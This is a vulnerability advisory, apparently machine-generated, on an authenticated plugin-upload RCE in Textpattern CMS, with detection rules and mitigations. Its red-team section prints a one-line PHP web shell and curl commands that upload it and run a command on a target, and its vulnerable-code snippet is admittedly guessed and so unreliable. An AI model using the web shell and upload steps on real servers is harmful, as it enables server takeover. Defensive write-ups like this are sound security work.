CVE-2021-47976

Executive Summary

CVE-2021-47976 is a critical Remote Code Execution (RCE) vulnerability in Textpattern CMS version 4.9.0-dev. An authenticated attacker can exploit the plugin upload functionality to upload arbitrary PHP files to the textpattern/tmp/ directory, leading to full server compromise. The vulnerability has a CVSS score of 8.8, indicating high severity. No official patch has been released, and the EPSS score is 0.0%, suggesting low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows authenticated users to execute arbitrary code, potentially leading to full server takeover. The low attack complexity and no user interaction requirement make it attractive to attackers.

Deep Dive & Mechanics

The vulnerability resides in the plugin upload functionality of Textpattern CMS 4.9.0-dev. The application fails to properly validate the file type of uploaded plugins, allowing an authenticated attacker to upload arbitrary PHP files. The attack flow is as follows:

1. Authentication: The attacker must have valid credentials to access the admin panel.
2. CSRF Token Retrieval: The attacker navigates to the plugin event page to obtain a CSRF token, which is required for form submission.
3. Malicious File Upload: The attacker crafts a PHP file containing malicious code (e.g., a web shell) and uploads it via the plugin upload form.
4. Code Execution: The uploaded file is stored in the textpattern/tmp/ directory. The attacker can then access this file directly via the web server, triggering execution of the PHP code.

The root cause is the lack of file type validation and insufficient access controls on the upload directory. The application does not check if the uploaded file is a valid plugin archive (e.g., .zip) and does not restrict execution of PHP files in the tmp/ directory.

Vulnerable vs. Patched Code

Vulnerable Code (Textpattern CMS 4.9.0-dev): The plugin upload handler likely uses a simple file extension check or no check at all. For example:

// Vulnerable: No validation of file type
$target_file = $tmp_dir . '/' . basename($_FILES["plugin"]["name"]);
move_uploaded_file($_FILES["plugin"]["tmp_name"], $target_file);

Patched Code (Hypothetical): A secure implementation would validate the file type, restrict uploads to specific directories, and disable PHP execution in the upload directory:

// Patched: Validate file extension and MIME type
$allowed_types = ['zip', 'tar.gz'];
$file_ext = pathinfo($_FILES["plugin"]["name"], PATHINFO_EXTENSION);
if (!in_array($file_ext, $allowed_types)) {
    die("Invalid file type.");
}
// Move to a non-executable directory
$target_file = $uploads_dir . '/' . basename($_FILES["plugin"]["name"]);
move_uploaded_file($_FILES["plugin"]["tmp_name"], $target_file);
// Additionally, ensure .htaccess denies PHP execution

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Textpattern CMS 4.9.0-dev on a local server (e.g., using XAMPP or Docker).
2. Create an admin account and log in.
3. Navigate to the plugin upload page (e.g., /textpattern/index.php?event=plugin).

Exploitation Steps:

1. Obtain CSRF Token: View the page source or use browser developer tools to extract the CSRF token from the plugin upload form.
2. Craft Malicious PHP File: Create a file named shell.php with the following content:

   <?php system($_GET['cmd']); ?>
   

3. Upload the File: Use a tool like curl to upload the file:

   curl -X POST -b "cookie.txt" -F "plugin=@shell.php" -F "csrf_token=TOKEN" "http://target/textpattern/index.php?event=plugin"
   

4. Execute Code: Access the uploaded file:

   curl "http://target/textpattern/tmp/shell.php?cmd=id"
   

Expected Output: The server returns the output of the id command, confirming RCE.

Blue Team

Detection Steps:

1. Monitor File Uploads: Look for unusual file uploads to the textpattern/tmp/ directory, especially PHP files.
2. Check Access Logs: Identify requests to /textpattern/tmp/*.php with query parameters.
3. Review Admin Activity: Audit admin user actions, particularly plugin uploads.
4. Deploy WAF Rules: Block uploads of PHP files to the tmp/ directory.

Indicators of Compromise (IOCs)

• File Artifacts: Presence of unexpected PHP files in textpattern/tmp/ (e.g., shell.php, cmd.php).
• Network Traffic: HTTP requests to /textpattern/tmp/*.php with query parameters (e.g., ?cmd=id).
• Log Entries: Access logs showing POST requests to /textpattern/index.php?event=plugin with a plugin parameter containing a PHP file.
• System Changes: Unauthorized user accounts, modified files, or new processes.

Detection Engineering

YARA Rule

rule CVE_2021_47976_Textpattern_RCE {
    meta:
        description = "Detects malicious PHP files uploaded to Textpattern tmp directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47976"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $exec_call = "exec("
        $shell_exec = "shell_exec("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and ($system_call or $exec_call or $shell_exec or $cmd_param)
}

Sigma Rule

title: CVE-2021-47976 Textpattern RCE Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2021-47976 via file upload to tmp directory
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/textpattern/index.php?event=plugin'
        cs-uri-extension: 'php'
    condition: selection
falsepositives:
    - Legitimate plugin uploads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-47976 Textpattern RCE Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/textpattern/index.php?event=plugin"; http_uri; content:"plugin="; http_client_body; content:".php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Plugin Upload: If not required, disable the plugin upload functionality in the admin panel.
2. Restrict Directory Permissions: Set the textpattern/tmp/ directory to read-only for the web server user.
3. Deploy WAF: Use a Web Application Firewall to block uploads of PHP files to the tmp/ directory.
4. Monitor Logs: Enable detailed logging and monitor for suspicious file uploads.

Long-Term Fixes:

1. Upgrade: Upgrade to a patched version of Textpattern CMS (if available).
2. Code Review: Implement file type validation and restrict uploads to non-executable directories.
3. Security Hardening: Disable PHP execution in upload directories via .htaccess:

   <Directory "/path/to/textpattern/tmp">
       php_flag engine off
   </Directory>
   

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.